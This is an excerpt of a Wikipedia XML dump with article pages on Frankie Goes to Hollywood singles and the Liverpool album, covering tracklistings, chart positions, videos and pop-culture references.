!align=&quot;center&quot; colspan=&quot;3&quot;|From the album ''[[Welcome To The Pleasuredome (album)|Welcome To The Pleasuredome]]''
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Single Released
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[24 October]], [[1983]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Single Format
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[vinyl record]] (7&quot; &amp; 12&quot;), [[Cassette tape]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Recorded
|colspan=&quot;2&quot; valign=&quot;top&quot;|May - June, [[1983]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Musical genre|Genre]]
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[Dance]], [[New Wave music|New Wave]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Record label]]
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[ZTT Records|ZTT]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Record producer|Producer]]
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[Trevor Horn]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Top 40|Chart]] positions
|colspan=&quot;2&quot; valign=&quot;top&quot;|1 (UK)&lt;br&gt;10 (USA)
|-
!bgcolor=&quot;yellow&quot; colspan=&quot;3&quot;|Frankie Goes To Hollywood single chronology
|-align=&quot;center&quot; 
|valign=&quot;top&quot;|&lt;small&gt;&lt;br /&gt;&lt;/small&gt;
|valign=&quot;top&quot;|&lt;small&gt;&quot;[[Relax (single)|Relax]]&quot;&lt;br /&gt;[[1983]]&lt;/small&gt;
|valign=&quot;top&quot;|&lt;small&gt;&quot;[[Two Tribes]]&quot;&lt;br /&gt;[[1984]]&lt;/small&gt;
|}

&quot;'''Relax'''&quot; was the first single from [[Frankie Goes to Hollywood]], released in October [[1983]].

It is also the first to be released on [[Trevor Horn]]'s record label, [[ZTT Records|ZTT]]. It sold 1.9 million copies in the UK alone and spent 5 weeks at number one, becoming one of the best-selling singles of all-time. 

With its lyrics filled with thinly-veiled references to homosexual sex it was banned by the [[BBC|BBC]], providing it with publicity that only aided its popularity, especially as a [[gay anthem]].

== Mixing ==

The original 12&quot; mix of &quot;Relax&quot; by [[Trevor Horn]] was an amazingly rambling 21 minute affair. It was completed mainly as a dare by [[Paul Morley]]. 

The first 12&quot; mix to appear on vinyl was an overblown 16 minute &quot;Sex mix&quot;, completed in part as a reaction to Horn's visiting [[New York]]'s [[Paradise Garage]] night club with [[Chris Blackwell]] of [[Island Records]]. This was quickly withdrawn and trimmed down to a shorter 8 minute version, entitled the &quot;New York Remix&quot; or &quot;Sex Mix Edit&quot;. 

The more popular extended version everyone knows is called the &quot;Long Version&quot; or &quot;U.S. Mix&quot; and is basically &quot;Relax (from soft to hard)&quot;, the instrumental version of the track, tacked onto the beginning of the single mix to roughly double the length of the track.

== B-sides and Videos ==
The single featured two b-sides. The first, &quot;One September Monday&quot; is essentially an interview between ZTT media man [[Paul Morley]] and the musicians of the band recorded on a Monday in September 1983. The second is an expanded cover version of &quot;Ferry 'Cross The Mersey&quot; originally done by [[Gerry And The Pacemakers]]. A short version of the track, entitled &quot;Fury&quot;, appears on the ''Welcome To The Pleasuredome'' album.

Videowise, there were a myriad of videos shot for &quot;Relax&quot;, most of them banned. The one that was shown (directed by duo [[Godley &amp; Creme]]) mainly featured band members [[Holly Johnson]] and [[Paul Rutherford]] in a room lit by lasers.

== Charts ==

&quot;Relax&quot; eventually [[List of Number 1 singles from the 1980s (UK)#1984|topped the charts]] in the UK in January 1984, taking a lengthy ten weeks to do so. By March 1984, &quot;Relax&quot; had sold over 1 million copies in the UK alone.

Staying at Number One for five weeks, it eventually resurfaced at Number 2 when [[Two Tribes]] reached top spot. 

However, in the US it didn't fare nearly as well, eventually reaching the paltry heights of Number 10 in March [[1985]]. On its original US chart run in 1984, it managed to hit Number 67.

==Tracklisting==
All discographical information pertains to UK releases only

*7&quot; single &lt;small&gt;(ZTAS 1)&lt;/small&gt;
*# &quot;Relax (move)&quot; (3:52)
*# &quot;One September Monday&quot; (4:47)

*12&quot; single &lt;small&gt;(12 ZTAS 1)&lt;/small&gt;
*# &quot;Relax (sex mix)&quot; (16:24)
*# &quot;Ferry 'Cross The Mersey&quot; (4:03)
*# &quot;Relax (from soft to hard)&quot; (4:21)

*Reissued 12&quot; single &lt;small&gt;(12 ZTAS 1)&lt;/small&gt;
*# &quot;Relax (U.S. mix)&quot; (7:20)
*# &quot;Ferry 'Cross The Mersey&quot; (4:03)
*# &quot;Relax (from soft to hard)&quot; (4:21)

*Cassingle &lt;small&gt;(CTIS 102)&lt;/small&gt;
*:&quot;From Soft To Hard - From Dry To Moist&quot;
*# &quot;The Party Trick (acting dumb)&quot;
*# &quot;The Special Act (adapted from the sex mix)&quot;
*# &quot;The US Mix (come dancing)&quot;
*# &quot;The Single (the act)&quot;
*# &quot;Later On (from One September Monday)&quot;
*# &quot;Ferry Across The Mersey (...and here I'll stay)&quot;

==Song in pop culture==
*The song is featured prominently in the movie ''[[Body Double (film)|Body Double]]'', and also played in the first ''[[Police Academy]]'' movie.
*Both the original version and a cover version by [[Powerman 5000]] played in the movie ''[[Zoolander]]''.
*In ''[[The Wedding Singer]]'', the Russian-immigrant catering chef sports a &quot;RELAX&quot; t-shirt, which is perhaps a culture-shock joke, in that the shirts had become passé by 1985, when the movie is set.
*In the long-form video, &quot;[[Jazzin' for Blue Jean]]&quot; (1984), directed by [[Julien Temple]] and featuring [[David Bowie]], Bowie's caracter, Vic, tries to impress a girl by taking her to a concert.  When deciding what to wear he tries on a &quot;Frankie Say Relax&quot; T-shirt and then changes his mind, saying to himself &quot;I'm not advertising Frankie anymore until they tell us who he is&quot;. 
*In the &quot;[[Friends]]&quot; episode &quot;The One With The Tiny T-Shirt&quot;, Ross and Rachel argue over possession of a vintage &quot;Frankie Say Relax&quot; t-shirt.

==External links==
* [http://www.fgth.nl/FGTH-NET/rare-unreleased2/relaxcassingle.ram Listen to CTIS 102]

[[Category:Frankie Goes To Hollywood singles]]
[[Category:1983 singles]]
[[Category:UK number one singles]]
[[Category:Gay anthems]]
[[Category:Singles banned by the BBC]]</text>
    </revision>
  </page>
  <page>
    <title>Two Tribes</title>
    <id>11261</id>
    <revision>
      <id>40363522</id>
      <timestamp>2006-02-20T01:51:12Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">&lt;!-- BEGIN WikiProject Album infobox (scroll down to edit main article text) --&gt;
{| align=right border=1 cellspacing=0 cellpadding=2 width=225
!align=&quot;center&quot; bgcolor=&quot;yellow&quot; colspan=&quot;3&quot;|''Two Tribes''
|-
|align=&quot;center&quot; colspan=&quot;3&quot;|[[Image:Two Tribes single.jpg|225 px|Two Tribes]]
|-
!align=&quot;center&quot; bgcolor=&quot;yellow&quot; colspan=&quot;3&quot;|[[Single (music)|Single]] by [[Frankie Goes To Hollywood]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Released
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[28 May]], [[1984]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Recorded
|colspan=&quot;2&quot; valign=&quot;top&quot;|May - June, [[1983]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Musical genre|Genre]]
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[Dance music|Dance]], [[New Wave music|New Wave]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Record label]]
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[ZTT Records|ZTT]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Cat. #
|colspan=&quot;2&quot; valign=&quot;top&quot;|ZTAS 3
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Record producer|Producer]]
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[Trevor Horn]]
|-
!bgcolor=&quot;yellow&quot; colspan=&quot;3&quot;|Frankie chronology
|-align=&quot;center&quot; 
|valign=&quot;top&quot;|&lt;small&gt;''[[Relax (single)|Relax]]''&lt;br /&gt;([[1983]])&lt;/small&gt;
|valign=&quot;top&quot;|&lt;small&gt;''[[Two Tribes]]''&lt;br /&gt;([[1984]])&lt;/small&gt;
|valign=&quot;top&quot;|&lt;small&gt;''[[The Power Of Love (Frankie Goes to Hollywood)|The Power Of Love]]''&lt;br /&gt;([[1984]])&lt;/small&gt;
|}
&lt;!-- END WikiProject Album infobox --&gt;
'''''Two Tribes''''' was the second single by [[Frankie Goes to Hollywood]]. Released in 1984, it is taken from the album ''[[Welcome To The Pleasuredome (album)|Welcome To The Pleasuredome]]''. 

The single's title comes from the quote &quot;When two great warrior tribes go to war&quot; from the film &quot;Mad Max 2: The Road Warrior&quot;, starring [[Mel Gibson]].

Playing on the global fears of nuclear annihilation, the single was released at the height of the cold war. The [[Godley &amp; Creme]]-directed video, called the &quot;Two Tribes Destructo Video&quot;, depicted a wrestling match between US president [[Ronald Reagan]] and Russian leader [[Konstantin Chernenko]]. A longer version of the video included an introduction by US President [[Richard Nixon]].

The single sleeve was peppered with nuclear war propaganda, including how many bombs each country had. The single itself featured actor [[Patrick Allen]] issuing warnings about what to do with family members if they should die whilst in the nuclear fallout shelters.

The flipside to the single was a cover version of &quot;War&quot; which would feature two years later as the standout track on [[Bruce Springsteen]]'s triple live boxset '''''Live 1975-1985'''''.

&quot;Two Tribes&quot; stayed at the [[List of Number 1 singles (UK)#1984|top of the singles chart]] for nine weeks, eventually pulling &quot;Relax&quot; back up to Number 2.

==Tracklisting==
All discographical information pertains to UK releases only

===7&quot; single (ZTAS 3)===
# &quot;Two Tribes (cowboys and Indians)&quot; (3:57)
# &quot;One February Friday (doctors and nurses)&quot; (4:55)

===7&quot; picture disc (P ZTAS 3)===
&quot;Different Mix&quot;

# &quot;Two Tribes (we don't want to die)&quot; (4:10)
# &quot;One February Friday (only bullets can stop them now)&quot; (4:55)

===12&quot; single (12 ZTAS 3)===
# &quot;Two Tribes (annihilation)&quot; (9:08)
# &quot;War (hide yourself)&quot; (4:12)
# &quot;One February Friday [abridged]&quot; (1:46)
# &quot;Two Tribes (surrender)&quot; (3:46)
# &quot;the last voice [unlisted]&quot; (1:14)

===Remix 12&quot; single (X ZTAS 3)===
# &quot;Two Tribes (carnage)&quot; (7:54)
# &quot;War (hide yourself)&quot; (4:12)
# &quot;One February Friday [abridged]&quot; (1:46)
# &quot;Two Tribes (surrender)&quot; (3:46)
# &quot;the last voice [unlisted]&quot; (1:14)

===3rd 12&quot; (WARTZ 3)===
# &quot;War (hidden)&quot; (8:33)
# &quot;Two Tribes (carnage)&quot; (7:54)
# &quot;One February Friday [abridged]&quot; (1:46)

===4th 12&quot; (X ZIP 1)===
# &quot;Two Tribes (hibakusha)&quot; (6:38)
# &quot;War (hide yourself)&quot; (4:12)
# &quot;One February Friday [abridged]&quot; (1:46)
# &quot;Two Tribes (surrender)&quot; (3:46)
# &quot;the last voice - edited [unlisted] (0:35)

* Limited to 5000 copies
* &quot;[[Hibakusha]]&quot; means witness/survivors of Hiroshima and Nagasaki atomic bombings.

===Cassingle (CTIS 103)===
&quot;Keep The Peace&quot;

# &quot;have sex with as many objects as possible [unlisted]&quot; (1:04)
# &quot;Two Tribes At Madison Square Garden&quot; (3:11)
# &quot;The Carnage / The Annihilation&quot; (12:05)
# &quot;One February Friday&quot; (1:08)
# &quot;War (somewhere between hiding and hidden)&quot; (4:12)
# &quot;war is peace&quot; (0:28)

==Song in pop culture==
*Was played in the video game [[Grand Theft Auto: Vice City]].

==External links==
* [http://www.fgth.nl/FGTH-NET/rare-unreleased2/TwoTribes-cassingle.ram Listen to CTIS 103]

[[Category:Frankie Goes To Hollywood singles]]
[[Category:1984 singles]]
[[Category:Number one singles]]</text>
    </revision>
  </page>
  <page>
    <title>The Power of Love</title>
    <id>11262</id>
    <revision>
      <id>41327714</id>
      <timestamp>2006-02-26T16:44:28Z</timestamp>
      <contributor>
        <username>GregorB</username>
        <id>179697</id>
      </contributor>
      <minor />
      <comment>/* Everly Brothers */</comment>
      <text xml:space="preserve">'''&quot;The Power of Love&quot;''' is the name of three different songs originally released in [[1984]] and [[1985]].  All three were [[United Kingdom|UK]] chart hits in 1985 &amp;ndash; the only year in which three different songs of the same name have been in the charts. The Everly Brothers 1966 release on Warner Brothers is the fourth song with this title.  

==Frankie Goes to Hollywood==
''Main article: [[The Power of Love (Frankie Goes to Hollywood song)]]''

&quot;The Power of Love&quot; was the third single from [[Frankie Goes to Hollywood]]. Because it was released shortly before [[Christmas]], 1984, the band decided to depict the [[Nativity]] in the song's [[music video|video]].

==Huey Lewis and the News==
&quot;The Power of Love&quot; is the title of a [[1985]] single by [[Huey Lewis and the News]] written for and featured in the film ''[[Back to the Future]]''. It gave the band their first #1 hit and later appeared on UK editions of the band's 4th studio album, [[Fore!]]. The song was nominated for an [[Academy Award]] at the [[1986]] Oscars. 

==Jennifer Rush==
&quot;The Power of Love&quot; is the name of a [[power ballad]] co-written and originally recorded by [[Jennifer Rush]].  Jennifer Rush's version was the first single by a female soloist to sell a million copies in the UK, and is among the [[List of best-selling singles (UK)|UK's best-selling singles]] of all-time.  In the [[United States|US]] Rush's original was eclipsed by a cover version by Anglo-Australian duo [[Air Supply]].  The song has subsequently been covered by several other artists, notably by [[Laura Branigan]] in 1987 and later by [[Celine Dion|Céline Dion]]; the latter's version was nominated for a 1995 [[Grammy Award]].

==Everly Brothers==
(You Got) The Power Of Love, written by Bonnie Bramlett and Joey Cooper, this is a powerful rocker, recorded in Hollywood February 3rd 1966. Session artists included Glen Campbell, Larry Knechtel, Jim Gordon and Hal Blaine. Released as a single April 1966 this song was a cohesive  effort for Warner Brothers and still remains a favorite today. The song featured on the `In Our Image` album subsequently released by Warner Brothers. `In Our Image` is one of a trilogy of albums regarded by Don Everly as the best {they} recorded for the Warner Bros.label, the other two being `Rock N Soul` and `Beat N Soul`.

==Other==
*The English DiC version of the [[Sailor Moon]] Aru movie, entitled ''Sailor Moon R: The Promise of the Rose'', replaces the Japanese climactic song [[Moon Revenge]] with the English version, simply known as '''The Power of Love'''.  The singer and writer are unknown.

*There is also a song by Christian artist Ashley Cleveland called '''The Power Of Love''', which gained particular attention when it was performed by contestant [[Nadia Turner]] in the semi-finals of Season 4 of [[American Idol]].

[[Category:1985 singles|Power of Love, The]]
[[Category:Back to the Future|Power of Love, The]]</text>
    </revision>
  </page>
  <page>
    <title>Welcome To The Pleasuredome (single)</title>
    <id>11263</id>
    <revision>
      <id>40363524</id>
      <timestamp>2006-02-20T01:51:12Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">&lt;!-- BEGIN WikiProject Album infobox (scroll down to edit main article text) --&gt;
{| align=right border=1 cellspacing=0 cellpadding=2 width=225
!align=&quot;center&quot; bgcolor=&quot;yellow&quot; colspan=&quot;3&quot;|''Welcome to the Pleasuredome''
|-
|align=&quot;center&quot; colspan=&quot;3&quot;|[[Image:WTTP_-_single.jpg|225 px|WTTP]]
|-
!align=&quot;center&quot; bgcolor=&quot;yellow&quot; colspan=&quot;3&quot;|[[Single (music)|Single]] by [[Frankie Goes To Hollywood]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Released
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[18 March]], [[1985]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Recorded
|colspan=&quot;2&quot; valign=&quot;top&quot;|May - June, [[1983]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Musical genre|Genre]]
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[Dance music|Dance]], [[New Wave music|New Wave]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Record label]]
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[ZTT Records|ZTT]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Cat. #
|colspan=&quot;2&quot; valign=&quot;top&quot;|ZTAS 7
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Record producer|Producer]]
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[Trevor Horn]]
|-
!bgcolor=&quot;yellow&quot; colspan=&quot;3&quot;|Frankie chronology
|-align=&quot;center&quot; 
|valign=&quot;top&quot;|&lt;small&gt;''[[The Power Of Love (Frankie Goes to Hollywood)|The Power Of Love]]''&lt;br /&gt;([[1984]])&lt;/small&gt;
|valign=&quot;top&quot;|&lt;small&gt;'''''Welcome To The Pleasuredome'''''&lt;br /&gt;([[1985]])&lt;/small&gt;
|valign=&quot;top&quot;|&lt;small&gt;''[[Rage Hard]]''&lt;br /&gt; ([[1986]])&lt;/small&gt;
|}
&lt;!-- END WikiProject Album infobox --&gt;

'''''Welcome to the Pleasuredome''''' is the title of the fourth single from [[Frankie Goes to Hollywood]], released in 1985. It is taken from [[Welcome To The Pleasuredome (album)|the album of the same name]].

The lyrics of the track &quot;Welcome To The Pleasuredome&quot; were inspired by the 56-line poem ''[[Kubla Khan]]'', written by English poet [[Samuel Taylor Coleridge]].  

The &quot;Welcome To The Pleasuredome&quot; was the first release by the band not to hit top spot on the UK singles chart. Although it only reached Number 2, being kept off top spot by the Phil Collins - Philip Bailey duet &quot;Easy Lover&quot;, &quot;Pleasuredome&quot; spent a total of 11 weeks in the chart.

The intro to the 12&quot; mixes included a spoken word introduction by the actor [[Geoffrey_Palmer_%28actor%29|Geoffrey Palmer]].

The video, by [[Bernard Rose]], feature the band stealing a car, going to a carnival and encountering all manner of &quot;pleasureable&quot; activities. The audio soundtrack of the video was included as a track on the cassette single.

==Tracklisting==
All discographical information pertains to UK releases only

===7&quot; single (ZTAS 7)===
# &quot;Welcome To The Pleasuredome (altered real)&quot; (4:20)
# &quot;Get It On (longer version)&quot; (3:28)
# &quot;Happy Hi!&quot; (4:04)

===2nd issue 7&quot; single (ZTAS 7)===
#&quot; Welcome To The Pleasuredome (alternative reel) [&quot;video mix&quot;]&quot; (5:05)
# &quot;Get It On (shorter version)&quot; (2:32)
# &quot;Happy Hi!&quot; (4:04)

Issued as an apple-shaped picture disc

===12&quot; single (12 ZTAS 7)===
# &quot;Welcome To The Pleasuredome (real altered)&quot; (9:42)
# &quot;Get It On (shorter version)&quot; (2:32)
# &quot;Happy Hi!&quot; (4:04)
# &quot;Relax (international)&quot; (4:51)

===2nd 12&quot; single (12 XTAS 7)===
# &quot;Welcome To The Pleasuredome (fruitness)&quot; (10:47)
# &quot;[excerpts from The Pleasuredome]&quot; (1:23)
# &quot;Get It On (shorter version)&quot; (2:32)
# &quot;Happy Hi!&quot; (4:04)
# &quot;Born To Run (live in newcastle, from &quot;Europe A Go Go&quot;)&quot; (4:49)

===Cassingle (CTIS 107)===
# &quot;Happy Hi! (all in the body)&quot; (1:18)
# &quot;Soundtrack From The &quot;Welcome...&quot; Bernard Rose Video&quot; (5:37)
# &quot;Get It On (even longer version)&quot; (3:56)
# &quot;Welcome To The Pleasuredome (how to remake the world)&quot; (10:59)
# &quot;Happy Hi! (all in the mind)&quot; (1:05)

==External links==
* [http://www.fgth.nl/FGTH-NET/rare-unreleased2/Pleasuredome-cassingle.ram Listen to CTIS 107]

[[Category:1985 singles]]
[[Category:Frankie Goes To Hollywood singles]]</text>
    </revision>
  </page>
  <page>
    <title>Rage Hard</title>
    <id>11264</id>
    <revision>
      <id>38006339</id>
      <timestamp>2006-02-03T15:22:10Z</timestamp>
      <contributor>
        <ip>139.149.1.203</ip>
      </contributor>
      <comment>/* 2nd 12&quot; single (12 ZTAX 22) */</comment>
      <text xml:space="preserve">&lt;!-- BEGIN WikiProject Album infobox (scroll down to edit main article text) --&gt;
{| align=right border=1 cellspacing=0 cellpadding=2 width=225
!align=&quot;center&quot; bgcolor=&quot;yellow&quot; colspan=&quot;3&quot;|''Rage Hard''
|-
|align=&quot;center&quot; colspan=&quot;3&quot;|[[Image:Rage_Hard_singles.jpg|225 px|Rage Hard]]
|-
!align=&quot;center&quot; bgcolor=&quot;yellow&quot; colspan=&quot;3&quot;|[[Single (music)|Single]] by [[Frankie Goes To Hollywood]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Released
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[22 August]], [[1986]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Recorded
|colspan=&quot;2&quot; valign=&quot;top&quot;|May - June, [[1983]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Musical genre|Genre]]
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[Dance music|Dance]], [[New Wave music|New Wave]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Record label]]
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[ZTT Records|ZTT]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Cat.|Cat. #]]
|colspan=&quot;2&quot; valign=&quot;top&quot;|ZTAS 22
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Record producer|Producer]]
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[Stephen Lipson]]
|-
!bgcolor=&quot;yellow&quot; colspan=&quot;3&quot;|Frankie chronology
|-align=&quot;center&quot; 
|valign=&quot;top&quot;|&lt;small&gt;''[[Welcome To The Pleasuredome (single)|Welcome To The Pleasuredome]]''&lt;br /&gt;([[1985]])&lt;/small&gt;
|valign=&quot;top&quot;|&lt;small&gt;'''''Rage Hard'''''&lt;br /&gt;([[1986]])&lt;/small&gt;
|valign=&quot;top&quot;|&lt;small&gt;''[[Warriors Of The Wasteland]]''&lt;br /&gt; ([[1986]])&lt;/small&gt;
|}
&lt;!-- END WikiProject Album infobox --&gt;


&quot;Rage Hard&quot; is the fifth single by [[Frankie Goes To Hollywood]]. It was released in [[August]] [[1986]].

==Background==

Having topped the charts around the world with ''Welcome To The Pleasuredome'' and it's accompanying singles, Frankie Goes To Hollywood took off to [[Amsterdam]] to record the follow up album, ''[[Liverpool (album)|Liverpool]]''. Taking on a rockier edge, &quot;Rage Hard&quot; was the first single culled from the disc. 

The single's title came from the [[Dylan Thomas]] poem &quot;Do not go gentle into that good night&quot;.

Of note, &quot;Rage Hard&quot; was a testament to the changing musical landscape in Britain at the time. It was not only the first Frankie single to be featured on CD single, it was also the first single to not feature a cassette release.

&quot;Rage Hard&quot; eventually hit Number 4 in the UK singles charts and Number 1 in Germany.

== B-sides ==

The b-sides to &quot;Rage Hard&quot; were, for the most part, straight forward cover songs. Firstly there was a cover of [[David Bowie]]'s 1972 glam-rock classic &quot;Suffragette City&quot;, slightly renamed to &quot;SufferRAGEette City&quot; to fit in with the &quot;Rage Hard&quot; promotion. The second cover song was &quot;Roadhouse Blues&quot; by [[The Doors]] which featured on the 2nd 12&quot;. A shorter version features on the CD single.

The original b-side is an odd composition entitled &quot;(Don't Lose What's Left) Of Your Little Mind&quot;. It was released in two versions, a 4 minute mix and a 6 minute mix and featured [[Holly Johnson]] vamping in a strange &quot;vampire voice&quot; (&quot;Ha ha ha / I am the count&quot;) over the band's backing track.

==Tracklisting==

(All discographical information pertains to UK releases only)

===7&quot; single (ZTAS 22)===

&quot;rage rage&quot;

# &quot;Rage Hard (7&quot; mix)&quot; (5:05)
# &quot;(Don't Lose What's Left) Of Your Little Mind&quot; (4:03)
* The standard release features all five coloured fists on the cover

===2nd issue 7&quot; single (ZTAX 22)===

# &quot;Rage Hard (dance mix)&quot; (4:55)
# &quot;(Don't Lose What's Left) Of Your Little Mind&quot; (4:03)

* The dance mix of Rage Hard was an edit of the &quot;Broad Mix&quot; from the 2nd 12&quot; (sleeve featured the Blue fist)
* ZTAX7 came in a pop-up gatefold sleeve (with the Rage Hard fists being the pop-up) (sleeve featured the Orange fist) (ZTD22)

===12&quot; single (12 ZTAS 22)===

&quot;Slam Bam&quot; 

# &quot;Rage Hard&quot; (12:08)
# &quot;SufferRAGEette City&quot; (3:31)
# &quot;(Don't Lose What's Left) Of Your Little Mind&quot; (6:15)
# &quot;['always note the sequencer...']&quot; (:22)

* This mix is also known as &quot;Young Person's Guide Into The 12-inch&quot;
* This 12&quot; was also released with a 12&quot; x 24&quot; poster (12 ZTAQ 22)

===2nd 12&quot; single (12 ZTAX 22)===

&quot;Broad&quot;

# &quot;Rage Hard (Broad Mix)&quot; (8:36) (sleeve features the Yellow fist)
# &quot;Roadhouse Blues (the full version)&quot; (4:03)
# &quot;(Don't Lose What's Left) Of Your Little Mind ('suffer brother')&quot; (6:15)
# &quot;['always note the sequencer...']&quot; (:22)
 
* (sleeve featured the Yellow fist)
Note: 12ZTAX22 also came as a limited edition with a box designed to contain all the Rage Hard UK issues (box featured the Red fist)

===CD single (CD ZCID 22)===

# &quot;['we have begun']&quot; (0:07)
# &quot;Rage Hard (Broad Mix edited)&quot; (5:08)
# &quot;Rage Hard (compacted)&quot; (11:58)
# &quot;SufferRAGEette City&quot; (3:31)
# &quot;(Don't Lose What's Left) Of Your Little Mind (excerpt)&quot; (:18)
# &quot;Roadhouse Blues (the short version)&quot; (3:37)

*(sleeve featured the Purple fist)

==External links==

* [http://www.fgth.nl/FGTH-NET/rare-unreleased2/RageHard-compacted.ram Listen to ZCID 22]

[[Category:Frankie Goes To Hollywood singles]]
[[Category:1986 singles]]</text>
    </revision>
  </page>
  <page>
    <title>Warriors of the Wasteland</title>
    <id>11265</id>
    <revision>
      <id>15909025</id>
      <timestamp>2004-08-06T07:05:41Z</timestamp>
      <contributor>
        <username>Guanaco</username>
        <id>47960</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#redirect [[Liverpool (album)]]</text>
    </revision>
  </page>
  <page>
    <title>Watching the Wildlife</title>
    <id>11266</id>
    <revision>
      <id>15909026</id>
      <timestamp>2003-08-21T03:52:06Z</timestamp>
      <contributor>
        <username>TUF-KAT</username>
        <id>8351</id>
      </contributor>
      <minor />
      <comment>consolidating</comment>
      <text xml:space="preserve">#redirect [[Liverpool (album)]]</text>
    </revision>
  </page>
  <page>
    <title>Liverpool (album)</title>
    <id>11267</id>
    <revision>
      <id>32360739</id>
      <timestamp>2005-12-22T14:20:22Z</timestamp>
      <contributor>
        <username>Fritz Saalfeld</username>
        <id>128909</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|Assisted]] clean up: Changed length format in infobox to mm:ss (See [[WP:ALBUMS]])</comment>
      <text xml:space="preserve">{{Album infobox | &lt;!-- See Wikipedia:WikiProject_Albums --&gt;
| Name = Liverpool 
| Type = Album
| Artist = [[Frankie Goes to Hollywood]]
| Cover = FrankieGoestoHollywoodLiver.jpg
| Background = orange
| Released = October 20, 1998
| Recorded = 
| Genre = 
| Length = 
| Label = 
| Producer = 
| Reviews = &amp;lt;nowiki&gt;&amp;lt;/nowiki&gt;
*
| 
| Last album = 
| This album = Liverpool ([[1998]])
| Next album = 
}}
'''''Liverpool''''' is [[Frankie Goes to Hollywood]]'s second album, released in October of [[1986]] (see [[1986 in music]]).

The album was a commercial disappointment compared to the band's previous effort, charting generally low.  It did, however, hit #7 on the Swiss music charts.

==Track listing==
*&quot;Warriors of the Wasteland&quot; ([[Peter Gill|Gill]]/[[Holly Johnson|Johnson]]/[[Brian Nash|Nash]]/[[Mark O'Toole|O'Toole]])
*&quot;Rage Hard&quot; (Gill/Johnson/Nash/O'Toole)
*&quot;Kill the Pain&quot; (Gill/Johnson/Nash/O'Toole)
*&quot;Maximum Joy&quot; (Gill/Johnson/Nash/O'Toole)
*&quot;Watching the Wildlife&quot; (Gill/Johnson/Nash/O'Toole)
*&quot;Lunar Bay&quot; (Gill/Johnson/Nash/O'Toole)
*&quot;For Heaven's Sake&quot; (Gill/Johnson/Nash/O'Toole)
*&quot;Is Anybody Out There?&quot; (Gill/Johnson/Nash/O'Toole)

A later release includes two bonus tracks:
*&quot;(Don't Lose What's Left) of Your Mind&quot;
*&quot;Sufragette City&quot; ([[David Bowie]] [[cover version|cover]])

==Single information==
===&quot;Warriors of the Wasteland&quot;===
&lt;table border=1&gt;
&lt;tr&gt;&lt;td&gt;'''Catalogue number'''&lt;/td&gt;&lt;td align=middle&gt;ZTAS25&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Label'''&lt;/td&gt;&lt;td align=middle&gt;[[ZTT Records]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Released'''&lt;/td&gt;&lt;td align=middle&gt;[[November 22]], [[1986]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Top [[United Kingdom|UK]] chart position'''&lt;/td&gt;&lt;td align=middle&gt;19&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Weeks on [[United Kingdom|UK]] chart'''&lt;/td&gt;&lt;td align=middle&gt;8&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;tr&gt;&lt;td&gt;'''Top [[Switzerland|Swiss]] chart position'''&lt;/td&gt;&lt;td align=middle&gt;13&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;'''Weeks on [[Switzerland|Swiss]] chart'''&lt;/td&gt;&lt;td align=middle&gt;8&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

12&quot; mixes
*	12 Wild Disciples 
*	Turn of the Knife 
*	Attack (feat. [[Gary Moore]])

===&quot;Rage Hard&quot;===
&lt;table border=1&gt;
&lt;tr&gt;&lt;td&gt;'''Catalogue number'''&lt;/td&gt;&lt;td align=middle&gt;ZTAS22&lt;/td&gt;&lt;/tr&gt;
